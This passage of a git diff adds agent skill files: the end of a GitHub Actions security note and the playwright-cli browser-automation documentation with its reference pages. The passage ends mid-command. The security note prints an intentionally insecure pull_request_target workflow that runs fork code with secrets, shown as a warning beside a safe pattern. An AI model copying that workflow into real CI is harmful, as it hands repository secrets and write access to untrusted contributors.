**read-only** | **no** | Low by design — even malicious code can't steal anything | +| `pull_request_target` | **Anyone with a fork** | **read/write** | **yes** | **High** — runs in base-repo context | +| `workflow_run` | Fires after another workflow | **read/write** | **yes** | **High** | +| `issue_comment`, `issues` | **Anyone** | **read/write** | **yes** | **High** | + +The trap: `pull_request` from a fork is *safe* because GitHub deliberately strips the token down +and withholds secrets. Maintainers who find that "the secrets don't work on fork PRs" often switch +to `pull_request_target` to get them back — and in doing so hand a write token and every secret to +arbitrary contributors. + +## Why `pull_request_target` Is Dangerous + +`pull_request_target` checks out the **base** repository's workflow definition (so a fork can't +change what runs), but it runs with full privileges. The danger is when the workflow then +explicitly checks out the **fork's** code and executes it: + +```yaml +# DANGEROUS — RCE with a write token + secrets +on: pull_request_target +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@ + with: + ref: ${{ github.event.pull_request.head.sha }} # fork's code + - run: npm install && npm test # runs the fork's code + scripts +``` + +`npm install` alone runs arbitrary lifecycle scripts from the PR. With `pull_request_target` those +scripts can read `secrets.*` and push commits with the write token. + +## The Safe Two-Workflow Pattern + +Split responsibilities. An **unprivileged** workflow runs the untrusted code; a **privileged** +workflow consumes only the trusted *output*. + +```yaml +# 1) Unprivileged: runs untrusted code, no secrets, read-only token +name: PR Build +on: pull_request +permissions: + contents: read +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@ + - run: npm ci && npm run build + - uses: actions/upload-artifact@ + with: { name: pr, path: dist/ } +``` + +```yaml +# 2) Privileged: triggered by the first, never runs fork code +name: PR Comment +on: + workflow_run: + workflows: ["PR Build"] + types: [completed] +permissions: + pull-requests: write +jobs: + comment: + runs-on: ubuntu-latest + steps: + - uses: actions/download-artifact@ # data only, not executed + # post results, using the trusted token — but never execute the artifact +``` + +## Rules + +* Treat `pull_request_target`, `workflow_run`, `issue_comment`, and `issues` as privileged. +* In a privileged workflow, **never** check out and execute PR/fork code. +* If you only need to label, comment, or triage based on metadata, that is fine — just don't run + the contributor's code. +* Prefer `pull_request` (with its safe read-only/no-secrets defaults) whenever possible. diff --git a/.agents/skills/playwright-cli/SKILL.md b/.agents/skills/playwright-cli/SKILL.md new file mode 100644 index 0000000..5c172bf --- /dev/null +++ b/.agents/skills/playwright-cli/SKILL.md @@ -0,0 +1,429 @@ +--- +allowed-tools: Bash(playwright-cli:*) Bash(npx:*) Bash(npm:*) +description: Automate browser interactions, test web pages and work with Playwright tests. +metadata: + github-path: skills/playwright-cli + github-ref: refs/tags/v0.1.19 + github-repo: https://github.com/microsoft/playwright-cli + github-tree-sha: fe74b7fb02fe5d0697d1e1359cb44e1f48d1fc54 +name: playwright-cli +--- +# Browser Automation with playwright-cli + +## Quick start + +```bash +# open new browser +playwright-cli open +# navigate to a page +playwright-cli goto https://playwright.dev +# interact with the page using refs from the snapshot +playwright-cli click e15 +playwright-cli type "page.click" +playwright-cli press Enter +# take a screenshot (rarely used, as snapshot is more common) +playwright-cli screenshot +# close the browser +playwright-cli close +``` + +## Commands + +### Core + +```bash +playwright-cli open +# open and navigate right away +playwright-cli open https://example.com/ +playwright-cli goto https://playwright.dev +playwright-cli type "search query" +playwright-cli click e3 +playwright-cli dblclick e7 +# --submit presses Enter after filling the element +playwright-cli fill e5 "user@example.com" --submit +playwright-cli drag e2 e8 +# drop files or data onto an element (from outside the page) +playwright-cli drop e4 --path=./image.png +playwright-cli drop e4 --data="text/plain=hello world" +playwright-cli hover e4 +playwright-cli select e9 "option-value" +playwright-cli upload ./document.pdf +playwright-cli check e12 +playwright-cli uncheck e12 +playwright-cli snapshot +# search the snapshot for text or a regexp, returns matching nodes with surrounding context +playwright-cli find "Sign in" +playwright-cli find --regex "Sign (in|up)" +# wrap the regexp in slashes to add flags, e.g. /i for case-insensitive +playwright-cli find --regex "/sign (in|up)/i" +playwright-cli eval "document.title" +playwright-cli eval "el => el.textContent" e5 +# get element id, class, or any attribute not visible in the snapshot +playwright-cli eval "el => el.id" e5 +playwright-cli eval "el => el.getAttribute('data-testid')" e5 +playwright-cli dialog-accept +playwright-cli dialog-accept "confirmation text" +playwright-cli dialog-dismiss +playwright-cli resize 1920 1080 +playwright-cli close +``` + +### Navigation + +```bash +playwright-cli go-back +playwright-cli go-forward +playwright-cli reload +``` + +### Keyboard + +```bash +playwright-cli press Enter +playwright-cli press ArrowDown +playwright-cli keydown Shift +playwright-cli keyup Shift +``` + +### Mouse + +```bash +playwright-cli mousemove 150 300 +playwright-cli mousedown +playwright-cli mousedown right +playwright-cli mouseup +playwright-cli mouseup right +playwright-cli mousewheel 0 100 +``` + +### Save as + +```bash +playwright-cli screenshot +playwright-cli screenshot e5 +playwright-cli screenshot --filename=page.png +playwright-cli screenshot --hires +playwright-cli pdf --filename=page.pdf +``` + +### Tabs + +```bash +playwright-cli tab-list +playwright-cli tab-new +playwright-cli tab-new https://example.com/page +playwright-cli tab-close +playwright-cli tab-close 2 +playwright-cli tab-select 0 +``` + +### Storage + +```bash +playwright-cli state-save +playwright-cli state-save auth.json +playwright-cli state-load auth.json + +# Cookies +playwright-cli cookie-list +playwright-cli cookie-list --domain=example.com +playwright-cli cookie-get session_id +playwright-cli cookie-set session_id abc123 +playwright-cli cookie-set session_id abc123 --domain=example.com --httpOnly --secure +playwright-cli cookie-delete session_id +playwright-cli cookie-clear + +# LocalStorage +playwright-cli localstorage-list +playwright-cli localstorage-get theme +playwright-cli localstorage-set theme dark +playwright-cli localstorage-delete theme +playwright-cli localstorage-clear + +# SessionStorage +playwright-cli sessionstorage-list +playwright-cli sessionstorage-get step +playwright-cli sessionstorage-set step 3 +playwright-cli sessionstorage-delete step +playwright-cli sessionstorage-clear +``` + +### Network + +```bash +playwright-cli route "**/*.jpg" --status=404 +playwright-cli route "https://api.example.com/**" --body='{"mock": true}' +playwright-cli route-list +playwright-cli unroute "**/*.jpg" +playwright-cli unroute +``` + +### DevTools + +```bash +playwright-cli console +playwright-cli console warning +playwright-cli requests +playwright-cli request 5 +playwright-cli run-code "async page => await page.context().grantPermissions(['geolocation'])" +playwright-cli run-code --filename=script.js +playwright-cli tracing-start +playwright-cli tracing-stop + +# record user actions in the browser, print them as Playwright code on stop +playwright-cli recording-start +playwright-cli recording-stop + +playwright-cli video-start video.webm +playwright-cli video-chapter "Chapter Title" --description="Details" --duration=2000 +playwright-cli video-stop + +# annotate each subsequent action (click, type, ...) with a callout naming the action and highlighting the target +playwright-cli video-show-actions --duration=600 --position=top-right +playwright-cli video-hide-actions + +# launch the dashboard for UI review / design feedback — user annotates the page, you receive the annotated screenshot, snapshot, and notes +playwright-cli show --annotate + +# generate a Playwright locator for an element from its ref or selector +playwright-cli generate-locator e5 --raw + +# show a persistent highlight overlay for an element, optionally with a custom style +playwright-cli highlight e5 +playwright-cli highlight e5 --style="outline: 3px dashed red" +# hide a single element highlight, or all page highlights when no target is given +playwright-cli highlight e5 --hide +playwright-cli highlight --hide +``` + +## Raw output + +The global `--raw` option strips page status, generated code, and snapshot sections from the output, returning only the result value. Use it to pipe command output into other tools. Commands that don't produce output return nothing. + +```bash +playwright-cli --raw eval "JSON.stringify(performance.timing)" | jq '.loadEventEnd - .navigationStart' +playwright-cli --raw eval "JSON.stringify([...document.querySelectorAll('a')].map(a => a.href))" > links.json +playwright-cli --raw snapshot > before.yml +playwright-cli click e5 +playwright-cli --raw snapshot > after.yml +diff before.yml after.yml +TOKEN=$(playwright-cli --raw cookie-get session_id) +playwright-cli --raw localstorage-get theme +``` + +For structured output wrapping every reply as JSON, pass --json +```bash +playwright-cli list --json +``` + +## Open parameters +```bash +# Use specific browser when creating session +playwright-cli open --browser=chrome +playwright-cli open --browser=firefox +playwright-cli open --browser=webkit +playwright-cli open --browser=msedge + +# Emulate a generic mobile device (Pixel 10 for Chromium, iPhone 17 for WebKit). +# Prefer this when a mobile layout is acceptable: mobile pages are usually +# lighter, so snapshots are smaller and cheaper. +playwright-cli open --mobile +playwright-cli open --device="iPhone 15" + +# Use persistent profile (by default profile is in-memory) +playwright-cli open --persistent +# Use persistent profile with custom directory +playwright-cli open --profile=/path/to/profile + +# Connect to browser via Playwright Extension +playwright-cli attach --extension=chrome + +# Connect to a running Chrome or Edge by channel name +playwright-cli attach --cdp=chrome +playwright-cli attach --cdp=msedge + +# Connect to a running browser via CDP endpoint +playwright-cli attach --cdp=http://localhost:9222 + +# Start with config file +playwright-cli open --config=my-config.json + +# Close the browser +playwright-cli close +# Detach from an attached browser (leaves the external browser running) +playwright-cli -s=msedge detach +# Delete user data for the default session +playwright-cli delete-data +``` + +## URLs with `&` on Windows + +On Windows, `cmd.exe` and PowerShell treat `&` as a command separator, so URLs with multiple query parameters get truncated before `playwright-cli` runs. Escape `&` with `^&` in `cmd.exe`, or use `--%` in PowerShell: + +```batch +playwright-cli goto "https://example.com/?a=1^&b=2" +``` + +```powershell +playwright-cli --% goto "https://example.com/?a=1&b=2" +``` + +## Snapshots + +After each command, playwright-cli provides a snapshot of the current browser state. + +```bash +> playwright-cli goto https://example.com +### Page +- Page URL: https://example.com/ +- Page Title: Example Domain +### Snapshot +[Snapshot](.playwright-cli/page-2026-02-14T19-22-42-679Z.yml) +``` + +You can also take a snapshot on demand using `playwright-cli snapshot` command. All the options below can be combined as needed. + +```bash +# default - save to a file with timestamp-based name +playwright-cli snapshot + +# save to file, use when snapshot is a part of the workflow result +playwright-cli snapshot --filename=after-click.yaml + +# snapshot an element instead of the whole page +playwright-cli snapshot "#main" + +# limit snapshot depth for efficiency, take a partial snapshot afterwards +playwright-cli snapshot --depth=4 +playwright-cli snapshot e34 + +# include each element's bounding box as [box=x,y,width,height] +playwright-cli snapshot --boxes + +# search a large snapshot instead of capturing it all — returns matching nodes +# with 3 lines of context around each match (like grep -C) +playwright-cli find "Add to cart" +playwright-cli find --regex "\\$[0-9]+\\.[0-9]{2}" +``` + +## Targeting elements + +By default, use refs from the snapshot to interact with page elements. + +```bash +# get snapshot with refs +playwright-cli snapshot + +# interact using a ref +playwright-cli click e15 +``` + +You can also use css selectors or Playwright locators. + +```bash +# css selector +playwright-cli click "#main > button.submit" + +# role locator +playwright-cli click "getByRole('button', { name: 'Submit' })" + +# test id +playwright-cli click "getByTestId('submit-button')" +``` + +## Browser Sessions + +```bash +# create new browser session named "mysession" with persistent profile +playwright-cli -s=mysession open example.com --persistent +# same with manually specified profile directory (use when requested explicitly) +playwright-cli -s=mysession open example.com --profile=/path/to/profile +playwright-cli -s=mysession click e6 +playwright-cli -s=mysession close # stop a named browser +playwright-cli -s=mysession delete-data # delete user data for persistent session + +playwright-cli list +# Close all browsers +playwright-cli close-all +# Forcefully kill all browser processes +playwright-cli kill-all +``` + +## Installation + +If global `playwright-cli` command is not available, try a local version via `npx playwright cli`: + +```bash +npx --no-install playwright --version +``` + +When local version is available, use `npx playwright cli` in all commands. Otherwise, install `playwright-cli` as a global command: + +```bash +npm install -g @playwright/cli@latest +``` + +## Example: Form submission + +```bash +playwright-cli open https://example.com/form +playwright-cli snapshot + +playwright-cli fill e1 "user@example.com" +playwright-cli fill e2 "password123" +playwright-cli click e3 +playwright-cli snapshot +playwright-cli close +``` + +## Example: Multi-tab workflow + +```bash +playwright-cli open https://example.com +playwright-cli tab-new https://example.com/other +playwright-cli tab-list +playwright-cli tab-select 0 +playwright-cli snapshot +playwright-cli close +``` + +## Example: Debugging with DevTools + +```bash +playwright-cli open https://example.com +playwright-cli click e4 +playwright-cli fill e7 "test" +playwright-cli console +playwright-cli requests +playwright-cli close +``` + +```bash +playwright-cli open https://example.com +playwright-cli tracing-start +playwright-cli click e4 +playwright-cli fill e7 "test" +playwright-cli tracing-stop +playwright-cli close +``` + +## Example: Interactive session + +Ask the user for UI review or design feedback. The user draws boxes on the live page and types comments; you receive the annotated screenshot, the snapshot of the marked region, and the user's notes. Use this whenever the user asks for "UI review", "design feedback", or to "ask the user what they think / want / mean": + +```bash +playwright-cli open https://example.com +playwright-cli show --annotate +``` + +## Specific tasks + +* **Running and Debugging Playwright tests** [references/playwright-tests.md](references/playwright-tests.md) +* **Request mocking** [references/request-mocking.md](references/request-mocking.md) +* **Running Playwright code** [references/running-code.md](references/running-code.md) +* **Browser session management** [references/session-management.md](references/session-management.md) +* **Storage state (cookies, localStorage)** [references/storage-state.md](references/storage-state.md) +* **Test generation (plan / generate / heal)** [references/test-generation.md](references/test-generation.md) +* **Tracing** [references/tracing.md](references/tracing.md) +* **Video recording** [references/video-recording.md](references/video-recording.md) +* **Inspecting element attributes** [references/element-attributes.md](references/element-attributes.md) diff --git a/.agents/skills/playwright-cli/references/element-attributes.md b/.agents/skills/playwright-cli/references/element-attributes.md new file mode 100644 index 0000000..4e9fa6b --- /dev/null +++ b/.agents/skills/playwright-cli/references/element-attributes.md @@ -0,0 +1,23 @@ +# Inspecting Element Attributes + +When the snapshot doesn't show an element's `id`, `class`, `data-*` attributes, or other DOM properties, use `eval` to inspect them. + +## Examples + +```bash +playwright-cli snapshot +# snapshot shows a button as e7 but doesn't reveal its id or data attributes + +# get the element's id +playwright-cli eval "el => el.id" e7 + +# get all CSS classes +playwright-cli eval "el => el.className" e7 + +# get a specific attribute +playwright-cli eval "el => el.getAttribute('data-testid')" e7 +playwright-cli eval "el => el.getAttribute('aria-label')" e7 + +# get a computed style property +playwright-cli eval "el => getComputedStyle(el).display" e7 +``` diff --git a/.agents/skills/playwright-cli/references/playwright-tests.md b/.agents/skills/playwright-cli/references/playwright-tests.md new file mode 100644 index 0000000..bec2ec9 --- /dev/null +++ b/.agents/skills/playwright-cli/references/playwright-tests.md @@ -0,0 +1,39 @@ +# Running Playwright Tests + +To run Playwright tests, use the `npx playwright test` command, or a package manager script. To avoid opening the interactive html report, use `PLAYWRIGHT_HTML_OPEN=never` environment variable. + +```bash +# Run all tests +PLAYWRIGHT_HTML_OPEN=never npx playwright test + +# Run all tests through a custom npm script +PLAYWRIGHT_HTML_OPEN=never npm run special-test-command +``` + +# Debugging Playwright Tests + +To debug a failing Playwright test, run it with `--debug=cli` option. This command will pause the test at the start and print the debugging instructions. + +**IMPORTANT**: run the command in the background and check the output until "Debugging Instructions" is printed. Make sure to stop the command after you have finished. + +Once instructions containing a session name are printed, use `playwright-cli` to attach the session and explore the page. + +```bash +# Run the test +PLAYWRIGHT_HTML_OPEN=never npx playwright test --debug=cli +# ... +# ... debugging instructions for "tw-abcdef" session ... +# ... + +# Attach to the test +playwright-cli attach tw-abcdef +``` + +Keep the test running in the background while you explore and look for a fix. +The test is paused at the start, so you should step over or pause at a particular location +where the problem is most likely to be. + +Every action you perform with `playwright-cli` generates corresponding Playwright TypeScript code. +This code appears in the output and can be copied directly into the test. Most of the time, a specific locator or an expectation should be updated, but it could also be a bug in the app. Use your judgement. + +After fixing the test, stop the background test run. Rerun to check that test passes. diff --git a/.agents/skills/playwright-cli/references/request-mocking.md b/.agents/skills/playwright-cli/references/request-mocking.md new file mode 100644 index 0000000..9005fda --- /dev/null +++ b/.agents/skills/playwright-cli/references/request-mocking.md @@ -0,0 +1,87 @@ +# Request Mocking + +Intercept, mock, modify, and block network requests. + +## CLI Route Commands + +```bash +# Mock with custom status +playwright-cli route "**/*.jpg" --status=404 + +# Mock with JSON body +playwright-cli route "**/api/users" --body='[{"id":1,"name":"Alice"}]' --content-type=application/json + +# Mock with custom headers +playwright-cli route "**/api/data" --body='{"ok":true}' --header="X-Custom: value" + +# Remove headers from requests +playwright-cli route "**/*" --remove-header=cookie,authorization + +# List active routes +playwright-cli route-list + +# Remove a route or all routes +playwright-cli unroute "**/*.jpg" +playwright-cli unroute +``` + +## URL Patterns + +``` +**/api/users - Exact path match +**/api/*/details - Wildcard in path +**/*.{png,jpg,jpeg} - Match file extensions +**/search?q=* - Match query parameters +``` + +## Advanced Mocking with run-code + +For conditional responses, request body inspection, response modification, or delays: + +### Conditional Response Based on Request + +```bash +playwright-cli run-code "async page => { + await page.route('**/api/login', route => { + const body = route.request().postDataJSON(); + if (body.username === 'admin') { + route.fulfill({ body: JSON.stringify({ token: 'mock-token' }) }); + } else { + route.fulfill({ status: 401, body: JSON.stringify({ error: 'Invalid' }) }); + } + }); +}" +``` + +### Modify Real Response + +```bash +playwright-cli run-code "async page => { + await page.route('**/api/user', async route => { + const response = await route.fetch(); + const json = await response.json(); + json.isPremium = true; + await route.fulfill({ response, json }); + }); +}" +``` + +### Simulate Network Failures + +```bash +playwright-cli run-code "async page => { + await page.route('**/api/offline', route => route.abort('internetdisconnected')); +}" +# Options: connectionrefused, timedout, connectionreset, internetdisconnected +``` + +### Delayed Response + +```bash +playwright-cli run-code "async page => { + await page.route('**/api/slow', async route => { + await new Promise(r => setTimeout(r, 3000)); + route.fulfill({ body: JSON.stringify({ data: 'loaded' }) }); + }); +}" +``` diff --git a/.agents/skills/playwright-cli/references/running-code.md b/.agents/skills/playwright-cli/references/running-code.md new file mode 100644 index 0000000..98b541f --- /dev/null +++ b/.agents/skills/playwright-cli/references/running-code.md @@ -0,0 +1,241 @@ +# Running Custom Playwright Code + +Use `run-code` to execute arbitrary Playwright code for advanced scenarios not covered by CLI commands. + +## Syntax + +```bash +playwright-cli run-code "async page => { + // Your Playwright code here + // Access page.context() for browser context operations +}" +``` + +You can also load the function from a file: + +```bash +playwright-cli run-code --filename=./my-script.js +``` + + +The code must be a single function expression, it is wrapped in `(...)` and evaluated. +import/export/require syntax is not supported. + +## Geolocation + +```bash +# Grant geolocation permission and set location +playwright-cli run-code "async page => { + await page.context().grantPermissions(['geolocation']); + await page.context().setGeolocation({ latitude: 37.7749, longitude: -122.4194 }); +}" + +# Set location to London +playwright-cli run-code "async page => { + await page.context().grantPermissions(['geolocation']); + await page.context().setGeolocation({ latitude: 51.5074, longitude: -0.1278 }); +}" + +# Clear geolocation override +playwright-cli run-code "async page => { + await page.context().clearPermissions(); +}" +``` + +## Permissions + +```bash +# Grant multiple permissions +playwright-cli run-code "async page => { + await page.context().grantPermissions([ + 'geolocation', + 'notifications', + 'camera', + 'microphone' + ]); +}" + +# Grant permissions for specific origin +playwright-cli run-code "async page => { + await page.context().grantPermissions(['clipboard-read'], { + origin: 'https://example.com' + }); +}" +``` + +## Media Emulation + +```bash +# Emulate dark color scheme +playwright-cli run-code "async page => { + await page.emulateMedia({ colorScheme: 'dark' }); +}" + +# Emulate light color scheme +playwright-cli run-code "async page => { + await page.emulateMedia({ colorScheme: 'light' }); +}" + +# Emulate reduced motion +playwright-cli run-code "async page => { + await page.emulateMedia({ reducedMotion: 'reduce' }); +}" + +# Emulate print media +playwright-cli run-code "async page => { + await page.emulateMedia({ media: 'print' }); +}" +``` + +## Wait Strategies + +```bash +# Wait for network idle +playwright-cli run-code "async page => { + await page.waitForLoadState('networkidle'); +}" + +# Wait for specific element +playwright-cli run-code "async page => { + await page.locator('.loading').waitFor({ state: 'hidden' }); +}" + +# Wait for function to return true +playwright-cli run-code "async page => { + await page.waitForFunction(() => window.appReady === true); +}" + +# Wait with timeout +playwright-cli run-code "async page => { + await page.locator('.result').waitFor({ timeout: 10000 }); +}" +``` + +## Frames and Iframes + +```bash +# Work with iframe +playwright-cli run-code "async page => { + const frame = page.locator('iframe#my-iframe').contentFrame(); + await frame.locator('button').click(); +}" + +# Get all frames +playwright-cli run-code "async page => { + const frames = page.frames(); + return frames.map(f => f.url()); +}" +``` + +## File Downloads + +```bash +# Handle file download +playwright-cli run-code "async page => { + const downloadPromise = page.waitForEvent('download'); + await page.getByRole('link', { name: 'Download' }).click(); + const download = await downloadPromise; + await download.saveAs('./downloaded-file.pdf'); + return download.suggestedFilename(); +}" +``` + +## Clipboard + +```bash +# Read clipboard (requires permission) +playwright-cli run-code "async page => { + await page.context().grantPermissions(['clipboard-read']); + return await page.evaluate(() => navigator.clipboard.readText()); +}" + +# Write to clipboard +playwright-cli run-code "async page => { + await page.evaluate(text => navigator.clipboard.writeText(text), 'Hello clipboard!'); +}" +``` + +## Page Information + +```bash +# Get page title +playwright-cli run-code "async page => { + return await page.title(); +}" + +# Get current URL +playwright-cli run-code "async page => { + return page.url(); +}" + +# Get page content +playwright-cli run-code "async page => { + return await page.content(); +}" + +# Get viewport size +playwright-cli run-code "async page => { + return page.viewportSize(); +}" +``` + +## JavaScript Execution + +```bash +# Execute JavaScript and return result +playwright-cli run-code "async page => { + return await page.evaluate(() => { + return { + userAgent: navigator.userAgent, + language: navigator.language, + cookiesEnabled: navigator.cookieEnabled + }; + }); +}" + +# Pass arguments to evaluate +playwright-cli run-code "async page => { + const multiplier = 5; + return await page.evaluate(m => document.querySelectorAll('li').length * m, multiplier); +}" +``` + +## Error Handling + +```bash +# Try-catch in run-code +playwright-cli run-code "async page => { + try { + await page.getByRole('button', { name: 'Submit' }).click({ timeout: 1000 }); + return 'clicked'; + } catch (e) { + return 'element not found'; + } +}" +``` + +## Complex Workflows + +```bash +# Login and save state +playwright-cli run-code "async page => { + await page.goto('https://example.com/login'); + await page.getByRole('textbox', { name: 'Email' }).fill('user@example.com'); + await page.getByRole('textbox', { name: 'Password' }).fill('secret'); + await page.getByRole('button', { name: 'Sign in' }).click(); + await page.waitForURL('**/dashboard'); + await page.context().storageState({ path: 'auth.json' }); + return 'Login successful'; +}" + +# Scrape data from multiple pages +playwright-cli run-code "async page => { + const results = []; + for (let i = 1; i <= 3; i++) { + await page.goto(\`https://example.com/page/\${i}\`); + const items = await page.locator('.item').allTextContents(); + results.push(...items); + } + return results; +}" +``` diff --git a/.agents/skills/playwright-cli/references/session-management.md b/.agents/skills/playwright-cli/references/session-management.md new file mode 100644 index 0000000..bf39acd --- /dev/null +++ b/.agents/skills/playwright-cli/references/session-management.md @@ -0,0 +1,225 @@ +# Browser Session Management + +Run multiple isolated browser sessions concurrently with state persistence. + +## Named Browser Sessions + +Use `-s` flag to isolate browser contexts: + +```bash +# Browser 1: Authentication flow +playwright-cli -s=auth open https://app.example.com/login + +# Browser 2: Public browsing (separate cookies, storage) +playwright-cli -s=public open https://example.com + +# Commands are isolated by browser session +playwright-cli -s=auth fill e1 "user@example.com" +playwright-cli -s=public snapshot +``` + +## Browser Session Isolation Properties + +Each browser session has independent: +- Cookies +- LocalStorage / SessionStorage +- IndexedDB +- Cache +- Browsing history +- Open tabs + +## Browser Session Commands + +```bash +# List all browser sessions +playwright-cli list + +# Stop a browser session (close the browser) +playwright-cli close # stop the default browser +playwright-cli -s=mysession close # stop a named browser + +# Stop all browser sessions +playwright-cli close-all + +# Forcefully kill all daemon processes (for stale/zombie processes) +playwright-cli kill-all + +# Delete browser session user data (profile directory) +playwright-cli delete-data # delete default browser data +playwright-cli -s=mysession delete-data # delete named browser data +``` + +## Environment Variable + +Set a default browser session name via environment variable: + +```bash +export PLAYWRIGHT_CLI_SESSION="mysession" +playwright-cli open example.com # Uses "mysession" automatically +``` + +## Common Patterns + +### Concurrent Scraping + +```bash +#!/bin/bash +# Scrape multiple sites concurrently + +# Start all browsers +playwright-cli -s=site1 open https://site1.com & +playwright-cli -s=site2 open https://site2.com & +playwright-cli -s=site3 open https://site3.com & +wait + +# Take snapshots from each +playwright-cli -s=site1 snapshot +playwright-cli -s=site2 snapshot +playwright-cli -s=site3 snapshot + +# Cleanup +playwright-cli close-all +``` + +### A/B Testing Sessions + +```bash +# Test different user experiences +playwright-cli -s=variant-a open "https://app.com?variant=a" +playwright-cli -s=variant-b open "https://app.com?variant=b" + +# Compare +playwright-cli -s=variant-a screenshot +playwright-cli -s=variant-b screenshot +``` + +### Persistent Profile + +By default, browser profile is kept in memory only. Use `--persistent` flag on `open` to persist the browser profile to disk: + +```bash +# Use persistent profile (auto-generated location) +playwright-cli open https://example.com --persistent + +# Use persistent profile with custom directory +playwright-cli open https://example.com --profile=/path/to/profile +``` + +## Attaching to a Running Browser + +Use `attach` to connect to a browser that is already running, instead of launching a new one. + +### Attach by channel name + +Connect to a running Chrome or Edge instance by its channel name. The browser must have remote debugging enabled — navigate to `chrome://inspect/#remote-debugging` in the target browser and check "Allow remote debugging for this browser instance". + +```bash +# Attach to Chrome +playwright-cli attach --cdp=chrome + +# Attach to Chrome Canary +playwright-cli attach --cdp=chrome-canary + +# Attach to Microsoft Edge +playwright-cli attach --cdp=msedge + +# Attach to Edge Dev +playwright-cli attach --cdp=msedge-dev +``` + +Supported channels: `chrome`, `chrome-beta`, `chrome-dev`, `chrome-canary`, `msedge`, `msedge-beta`, `msedge-dev`, `msedge-canary`. + +When `--session` is not provided, the session is named after the channel (e.g. `--cdp=msedge` creates a session called `msedge`), so parallel attaches to Chrome and Edge don't collide on `default`. Pass `--session=` to override. + +### Attach via CDP endpoint + +Connect to a browser that exposes a Chrome DevTools Protocol endpoint: + +```bash +playwright-cli attach --cdp=http://localhost:9222 +``` + +### Attach via browser extension + +Connect to a browser with the Playwright extension installed: + +```bash +playwright-cli attach --extension +``` + +### Detach + +Tear down an attached session without affecting the external browser: + +```bash +# Detach the default attached session +playwright-cli detach + +# Detach a specific attached session +playwright-cli -s=msedge detach +``` + +`detach` only works on sessions created via `attach`. For sessions created via `open`, use `close`. + +## Default Browser Session + +When `-s` is omitted, commands use the default browser session: + +```bash +# These use the same default browser session +playwright-cli open https://example.com +playwright-cli snapshot +playwright-cli close # Stops default browser +``` + +## Browser Session Configuration + +Configure a browser session with specific settings when opening: + +```bash +# Open with config file +playwright-cli open https://example.com --config=.playwright/my-cli.json + +# Open with specific browser +playwright-cli open https://example.com --browser=firefox + +# Open in headed mode +playwright-cli open https://example.com --headed + +# Open with persistent profile +playwright-cli open https://example.com --persistent +``` + +## Best Practices + +### 1. Name Browser Sessions Semantically + +```bash +# GOOD: Clear purpose +playwright-cli -s=github-auth open https://github.com +playwright-cli -s=docs-scrape open https://docs.example.com + +# AVOID: Generic names +playwright-cli -s=s1 open https://github.com +``` + +### 2. Always Clean Up + +```bash +# Stop browsers when done +playwright-cli -s=auth close +playwright-cli -s=scrape close + +# Or stop all at once +playwright-cli close-all + +# If browsers become unresponsive or zombie processes remain +playwright-cli kill-all +``` + +### 3. Delete Stale Browser Data + +```bash +# Remove old browser data to free disk space +playwright-cli -s=oldsession delete-data +``` diff --git a/.agents/skills/playwright-cli/references/storage-state.md b/.agents/skills/playwright-cli/references/storage-state.md new file mode 100644 index 0000000..bb5021a --- /dev/null +++ b/.agents/skills/playwright-cli/references/storage-state.md @@ -0,0 +1,275 @@ +# Storage Management + +Manage cookies, localStorage, sessionStorage, and browser storage state. + +## Storage State + +Save and restore complete browser state including cookies and storage. + +### Save Storage State + +```bash +# Save to auto-generated filename (storage-state-{timestamp}.json) +playwright-cli state-save + +# Save to specific filename +playwright-cli state-save my-auth-state.json +``` + +### Restore Storage State + +```bash +# Load storage state from file +playwright-cli state-load my-auth-state.json + +# Reload page to apply cookies +playwright-cli open https://example.com +``` + +### Storage State File Format + +The saved file contains: + +```json +{ + "cookies": [ + { + "name": "session_id", + "value": "abc123", + "domain": "example.com", + "path": "/", + "expires": 1893456000, + "httpOnly": true, + "secure": true, + "sameSite": "Lax" + } + ], + "origins": [ + { + "origin": "https://example.com", + "localStorage": [ + { "name": "theme", "value": "dark" }, + { "name": "user_id", "value": "12345" } + ] + } + ] +} +``` + +## Cookies + +### List All Cookies + +```bash +playwright-cli cookie-list +``` + +### Filter Cookies by Domain + +```bash +playwright-cli cookie-list --domain=example.com +``` + +### Filter Cookies by Path + +```bash +playwright-cli cookie-list --path=/api +``` + +### Get Specific Cookie + +```bash +playwright-cli cookie-get session_id +``` + +### Set a Cookie + +```bash +# Basic cookie +playwright-cli cookie-set session abc123 + +# Cookie with options +playwright-cli cookie-set session abc123 --domain=example.com --path=/ --httpOnly --secure --sameSite=Lax + +# Cookie with expiration (Unix timestamp) +playwright-cli cookie-set remember_me token123 --expires=1893456000 +``` + +### Delete a Cookie + +```bash +playwright-cli cookie-delete session_id +``` + +### Clear All Cookies + +```bash +playwright-cli cookie-clear +``` + +### Advanced: Multiple Cookies or Custom Options + +For complex scenarios like adding multiple cookies at once, use `run-code`: + +```bash +playwright-cli run-code "async page => { + await page.context().addCookies([ + { name: 'session_id', value: 'sess_abc123', domain: 'example.com', path: '/', httpOnly: true }, + { name: 'preferences', value: JSON.stringify({ theme: 'dark' }), domain: 'example.com', path: '/' } + ]); +}" +``` + +## Local Storage + +### List All localStorage Items + +```bash +playwright-cli localstorage-list +``` + +### Get Single Value + +```bash +playwright-cli localstorage-get token +``` + +### Set Value + +```bash +playwright-cli localstorage-set theme dark +``` + +### Set JSON Value + +```bash +playwright-cli localstorage-set user_settings '{"theme":"dark","language":"en"}' +``` + +### Delete Single Item + +```bash +playwright-cli localstorage-delete token +``` + +### Clear All localStorage + +```bash +playwright-cli localstorage-clear +``` + +### Advanced: Multiple Operations + +For complex scenarios like setting multiple values at once, use `run-code`: + +```bash +playwright-cli run-code "async page => { + await page.evaluate(() => { + localStorage.setItem('token', 'jwt_abc123'); + localStorage.setItem('user_id', '12345'); + localStorage.setItem('expires_at', Date.now() + 3600000); + }); +}" +``` + +## Session Storage + +### List All sessionStorage Items + +```bash +playwright-cli sessionstorage-list +``` + +### Get Single Value + +```bash +playwright-cli sessionstorage-get form_data +``` + +### Set Value + +```bash +playwright-cli sessionstorage-set step 3 +``` + +### Delete Single Item + +```bash +playwright-cli sessionstorage-delete step +``` + +### Clear sessionStorage + +```bash +playwright-cli sessionstorage-clear +``` + +## IndexedDB + +### List Databases + +```bash +playwright-cli run-code "async page => { + return await page.evaluate(async () => { + const databases = await indexedDB.databases(); + return databases; + }); +}" +``` + +### Delete Database + +```bash +playwright-cli run-code "async page => { + await page.evaluate(() => { + indexedDB.deleteDatabase('myDatabase'); + }); +}" +``` + +## Common Patterns + +### Authentication State Reuse + +```bash +# Step 1: Login and save state +playwright-cli open https://app.example.com/login +playwright-cli 